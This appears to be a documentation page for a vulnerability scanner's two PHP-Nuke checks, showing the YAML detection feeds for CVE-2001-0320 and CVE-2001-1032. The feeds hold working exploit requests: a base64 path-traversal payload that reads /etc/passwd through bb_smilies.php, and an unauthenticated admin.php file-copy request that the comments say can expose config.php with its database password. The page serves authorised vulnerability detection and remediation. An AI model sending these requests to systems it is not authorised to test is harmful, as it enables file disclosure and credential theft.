PHP-Nuke — 2 vulnerability checks
noctis ships 2 vulnerability checks for PHP-Nuke, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
PHP-Nuke bb_smilies.php /etc/passwd file read
| CVE | CVE-2001-0320 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/php-nuke/CVE-2001-0320.yaml |
Sends a base64 user value with a ../ traversal to /etc/passwd to bb_smilies.php. When the response contains the /etc/passwd root entry, the same request is sent for an absent file in a random missing directory, and the file read is reported only when that control gets an HTTP reply without passwd content, so a server that answers every path with the same file is not reported.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK HTT… - Checks
resp.bannerfor.*root:.*:0:[01]:.* - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /bb_smilies.php?user={{ctrl_user}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
lfi_filefor^/etc/passwd$→ finding QoD 75: PHP-Nuke bb_smilies.php returned /etc/passwd (root entry) through the user parameter traversal; the same request for an absent file did not
References:
Feed source — tests/vulnerabilities/php-nuke/CVE-2001-0320.yaml
uid: 7f0a1c26-7ab4-440e-b081-c8b34a9d1db5
name: "PHP-Nuke bb_smilies.php /etc/passwd file read (CVE-2001-0320)"
description: |
Sends a base64 user value with a ../ traversal to /etc/passwd to
bb_smilies.php. When the response contains the /etc/passwd root entry, the
same request is sent for an absent file in a random missing directory, and
the file read is reported only when that control gets an HTTP reply without
passwd content, so a server that answers every path with the same file is
not reported.
cves: [CVE-2001-0320]
cvss: 10.0
severity: critical
category: file-read
confidence_base: 0.3
tags: [openvas-migrated, http, php-nuke]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2001-0320"
- "OpenVAS NASL pre2008/php_nuke_bb_smilies_passwd.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL pre2008/php_nuke_bb_smilies_passwd.nasl (GPL-2.0-only).
# Absent-file control (#2384): after a passwd hit, the same user value is sent
# with ../../../../../noctis-absent-<random>/etc/passwd and the finding is
# raised only when that control gets an HTTP reply without passwd content
# (fail closed).
steps:
- id: init-resp
action: set_var
var_name: resp
var_value: {connected: false, banner: ""}
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-lfi-file
action: set_var
var_name: lfi_file
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
# user = base64("1:1:1:1:1:1:1:1:1:../../../../../etc/passwd\0\n")
- id: exploit
action: tcp_connect
port: "{{port}}"
send: "GET /bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
# No finding here: the reply is the passwd file. Raised below once the
# absent-file control is clean.
- id: detect
action: match
source: resp.banner
pattern: ".*root:.*:0:[01]:.*"
on_match:
set_vars:
lfi_file: "/etc/passwd"
# Same value with a random missing directory, still ending in etc/passwd, so
# a honeypot that keys a fake file on that name answers it too. The base64
# is percent-encoded ("+" would be decoded as a space).
- id: control-user
action: script
condition: 'lfi_file != ""'
code: |
let b = base64_encode_hex(hexstr("1:1:1:1:1:1:1:1:1:../../../../../noctis-absent-" + oob_token + "/etc/passwd") + "000a");
str_replace(str_replace(str_replace(b, "+", "%2B"), "/", "%2F"), "=", "%3D")
store_as: ctrl_user
- id: control
action: tcp_connect
port: "{{port}}"
condition: 'lfi_file != ""'
send: "GET /bb_smilies.php?user={{ctrl_user}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without passwd content.
- id: control-verdict
action: script
condition: 'lfi_file != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:", b)
store_as: ctrl_clean
- id: report
action: match
source: lfi_file
pattern: "^/etc/passwd$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "PHP-Nuke bb_smilies.php returned /etc/passwd (root entry) through the user parameter traversal; the same request for an absent file did not"
stop: truePHP-Nuke admin.php unauthenticated file copy
| CVE | CVE-2001-1032 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/php-nuke/CVE-2001-1032.yaml |
PHP-Nuke 5.2 and earlier run the file-manager upload branch of admin.php before checking for an administrator, so an anonymous request can copy any file the web server can read to any path below the install directory (for example config.php, with the database password, to a public file), or overwrite files.
This check looks for admin.php under the web root and the usual install paths. Where it answers, it first requests a randomly named .txt file in the images directory and requires that it does not contain PHP-Nuke source. It then asks admin.php, without logging in, to copy admin.php itself (public product source, no secret) to that file name, and requests the file again. The flaw is confirmed when the file now returns the PHP source of admin.php. The copy is then emptied with a second copy request; an empty file with the random name stays in the images directory.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin.php - HTTP(S) request
GET {{dir}}/images/{{fname}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin.php?upload=1&file=admin.php&file_name={{fname}}&wdir=/images/&userfile=… - HTTP(S) request
GET {{dir}}/images/{{fname}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin.php?upload=1&wdir=/images/&userfile=/dev/null&userfile_name={{fname}} - Checks
hit_dirfor^/→ finding QoD 97: PHP-Nuke admin.php unauthenticated file copy (CVE-2001-1032)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2001-1032
- https://seclists.org/bugtraq/2001/Sep/233
- https://seclists.org/bugtraq/2001/Sep/237
- http://www.securityfocus.com/bid/3361
Feed source — tests/vulnerabilities/php-nuke/CVE-2001-1032.yaml
# PHP-Nuke <= 5.2 — admin.php unauthenticated file copy — CVE-2001-1032
#
# admin.php (PHP-Nuke 5.2 and earlier, except 5.0RC1) runs its file-manager upload
# branch before any administrator check (bugtraq 2001-09 "twlc advisory", BID 3361):
# $basedir = dirname($SCRIPT_FILENAME);
# if(!$wdir) $wdir="/";
# if($upload) {
# copy($userfile,$basedir.$wdir.$userfile_name);
# ...
# Header("Location: admin.php?op=FileManager");
# exit;
# }
# With register_globals every variable comes from the query string, so an anonymous
# GET copies any file the web server can read to any path below the install directory.
# The fix (5.3, and the advisory's workaround) is `if(($upload) && ($admintest))`.
#
# Detection (QoD 97), per candidate install dir whose admin.php answers:
# 1. GET <dir>/images/noctis<random>.txt must not hold PHP-Nuke source (control);
# 2. GET <dir>/admin.php?upload=1&wdir=/images/&userfile=admin.php
# &userfile_name=noctis<random>.txt (copy admin.php to images/)
# 3. GET <dir>/images/noctis<random>.txt now returns the PHP source of admin.php
# (its "PHP-NUKE: Web Portal System" header and the <?php tag);
# 4. cleanup: the same copy with userfile=/dev/null empties the file again.
#
# Better than the source NASL:
# - the reference check copies config.php — the database password — to a public
# .txt file and leaves it there; this feed copies admin.php, the product's public
# source, and empties the copy afterwards;
# - the reference check fetches /images/ at the web root even for an install in a
# sub-directory (the copy lands in <dir>/images/); this feed reads it from <dir>;
# - a random file name checked absent beforehand keeps a server that returns PHP
# source for every path (or an earlier run's copy) from being reported.
#
# Source: OpenVAS/Greenbone NVT pre2008/php_nuke_admin_cp.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10772, GPL-2.0-or-later).
uid: 0eab1abb-d383-417d-8cc2-ea9018cb3a7c
name: "PHP-Nuke admin.php unauthenticated file copy (CVE-2001-1032)"
description: |
PHP-Nuke 5.2 and earlier run the file-manager upload branch of admin.php before
checking for an administrator, so an anonymous request can copy any file the web
server can read to any path below the install directory (for example config.php,
with the database password, to a public file), or overwrite files.
This check looks for admin.php under the web root and the usual install paths.
Where it answers, it first requests a randomly named .txt file in the images
directory and requires that it does not contain PHP-Nuke source. It then asks
admin.php, without logging in, to copy admin.php itself (public product source, no
secret) to that file name, and requests the file again. The flaw is confirmed when
the file now returns the PHP source of admin.php. The copy is then emptied with a
second copy request; an empty file with the random name stays in the images
directory.
cves: [CVE-2001-1032]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [php-nuke, file-copy, arbitrary-file-write, auth-bypass, intrusive, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2001-1032"
- "https://seclists.org/bugtraq/2001/Sep/233"
- "https://seclists.org/bugtraq/2001/Sep/237"
- "http://www.securityfocus.com/bid/3361"
# OpenVAS/Greenbone NASL pre2008/php_nuke_admin_cp.nasl (GPL-2.0-or-later)
steps:
- id: gen-name
action: script
code: |
"noctis" + rand_hex(8) + ".txt"
store_as: fname
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-admin
action: set_var
var_name: admin
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/nuke", "/phpnuke", "/php-nuke", "/html", "/portal"]
- id: init-before
action: set_var
var_name: before
var_value: {status: 0, body: ""}
- id: init-after
action: set_var
var_name: after
var_value: {status: 0, body: ""}
- id: init-ready
action: set_var
var_name: ready
var_value: false
- id: fetch-admin
action: http_request
method: GET
path: "{{dir}}/admin.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: admin
# Control: the random file must not already hold PHP-Nuke source.
- id: fetch-before
action: http_request
method: GET
path: "{{dir}}/images/{{fname}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit_dir == "" && admin.status >= 200 && admin.status < 400'
store_as: before
- id: check-before
action: script
condition: 'hit_dir == "" && admin.status >= 200 && admin.status < 400'
code: |
let b = if type_of(before.body) == "string" { before.body } else { "" };
before.status != 0 && !b.contains("PHP-NUKE: Web Portal System")
store_as: ready
- id: copy
action: http_request
method: GET
path: "{{dir}}/admin.php?upload=1&file=admin.php&file_name={{fname}}&wdir=/images/&userfile=admin.php&userfile_name={{fname}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit_dir == "" && ready == true'
- id: fetch-after
action: http_request
method: GET
path: "{{dir}}/images/{{fname}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'hit_dir == "" && ready == true'
store_as: after
- id: check-after
action: script
condition: 'hit_dir == "" && ready == true'
code: |
let b = if type_of(after.body) == "string" { after.body } else { "" };
if after.status == 200 && b.contains("PHP-NUKE: Web Portal System")
&& (b.contains("<?php") || b.contains("<?PHP")) {
if dir == "" { "/" } else { dir }
} else { "" }
store_as: hit_dir
# Cleanup: empty the copy (best effort; the file name stays). Runs whenever the
# copy request was sent, also when the read-back could not confirm it.
- id: cleanup
action: http_request
method: GET
path: "{{dir}}/admin.php?upload=1&wdir=/images/&userfile=/dev/null&userfile_name={{fname}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'ready == true'
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "PHP-Nuke admin.php unauthenticated file copy (CVE-2001-1032)"
description: "An anonymous admin.php request with upload=1 copied admin.php into the images directory under a random name, and that file then returned the PHP source of admin.php: any visitor can copy any file the web server can read (such as config.php with the database password) to a public path, or overwrite files."
remediation: "Upgrade PHP-Nuke to 5.3 or later (or a maintained CMS). As a workaround, change `if($upload)` to `if(($upload) && ($admintest))` in admin.php and deny the web server user write access to the web root."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: admin.php?upload=1&wdir=/images/&userfile=admin.php&userfile_name={{fname}} (no login) — images/{{fname}} was absent before and then returned the admin.php source (\"PHP-NUKE: Web Portal System\" header, <?php tag); the copy was emptied afterwards"
stop: true